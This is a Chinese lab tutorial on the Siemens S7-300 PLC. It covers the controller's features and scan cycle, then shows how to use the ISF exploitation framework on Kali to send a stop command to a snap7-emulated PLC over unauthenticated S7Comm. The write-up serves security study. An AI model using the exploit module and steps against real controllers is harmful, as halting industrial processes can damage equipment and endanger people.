西门子S7-300特点:
1. 西门子PLC S7-300是模块化的中型西门子PLC系统,能满足中小规模的控制系统要求;
2. 各种性能的模块可以非常好的满足和适应自动化控制任务;
3. 简单实用的分布式结构和通用的网络能力,使得应用过程十分灵活;
4. 无风扇设计的结构,使得用户的维护过程更加简便;
5. 对于不断增加的控制需求,用户可以对控制系统进行灵活扩展;
6 . 西门子PLC S7-300系列具有多种集成功能,用户可以充分利用这些功能,达到控制要求。
西门子S7-300的工作原理:
PLC采用循环执行用户程序的方式。OB1 是用于循环处理的组织块(主程序),它可以调用别的逻辑块,或被中断程序(组织块)中断。
在起动完成后,不断地循环调用OB1,在OB1 中可以调用其它逻辑块(FB, SFB, FC 或SFC)。
循环程序处理过程可以被某些事件中断。
在循环程序处理过程中,CPU 并不直接访问I/O模块中的输入地址区和输出地址区,而是访问CPU 内部的输入/输出过程映像区(在CPU的系统存储区)
实验步骤
1.安装Vmware workstaion和Kali linux等软件,配置虚拟环境
2.kali中安装工控漏洞利用框架 ISF
(1)在kali终端中使用命令:
git clone https://github.com/dark-lbp/isf/
(2)输入
cd isf
(3)输入
python2 isf.py
(4)这时有可能会报错:缺少nmap模块,方法:
A.克隆下载nmap模块的包
git clone GitHub - johanlundberg/python-nmap: Clone of https://bitbucket.org/xael/python-nmap
B.进入python-nmap文件夹:cd python-nmap,使用命令python2 setup.py install
C.进入python2中import nmap发现没有报错了,使用exit()退出
D.回到上一级文件夹,继续执行 python2 isf.py命令进行安装
3.使用snap7模拟PLC设备,解压压缩包,打开 \rich-demos\x86_64-win64\bin路径
(1).使用serverdemo.exe模拟PLC设备,用ipconfig查看本机ip,也即物理机IP,填写到serverdemo.exe中
(2)在serverdemo.exe界面先点击start启动server
(3)可以查看到serverdemo.exe下面日志就显示server started
(4) 使用clientdemo.exe模拟主机,clientdemo.exe界面上填写上物理机ip
(5)clientdemo.exe界面上点击connect连接
(6)这时继续查看server的日志,显示client已经added(serverdemo.exe)
4.打开ISF后,输入:
use exploits/plcs/siemens/s7_300_400_plc_control
5.show options
6.set target 物理机IP
7.run
这里显示 stop plc ,同时查看serverdemo.exe模拟器中的输出,可以发现已经停止
STOPOK 实验就算完成了。
总结:
本文通过模拟器模拟S7-300实验环境,复现S7-300的启停实验,西门子私有协议 S7Comm 不像 S7CommPlus 的加密协议(S7-1500 等),不涉及任何反重复攻击机制,可以被攻击者轻易利用。下一篇文章将着重介绍S7comm协议。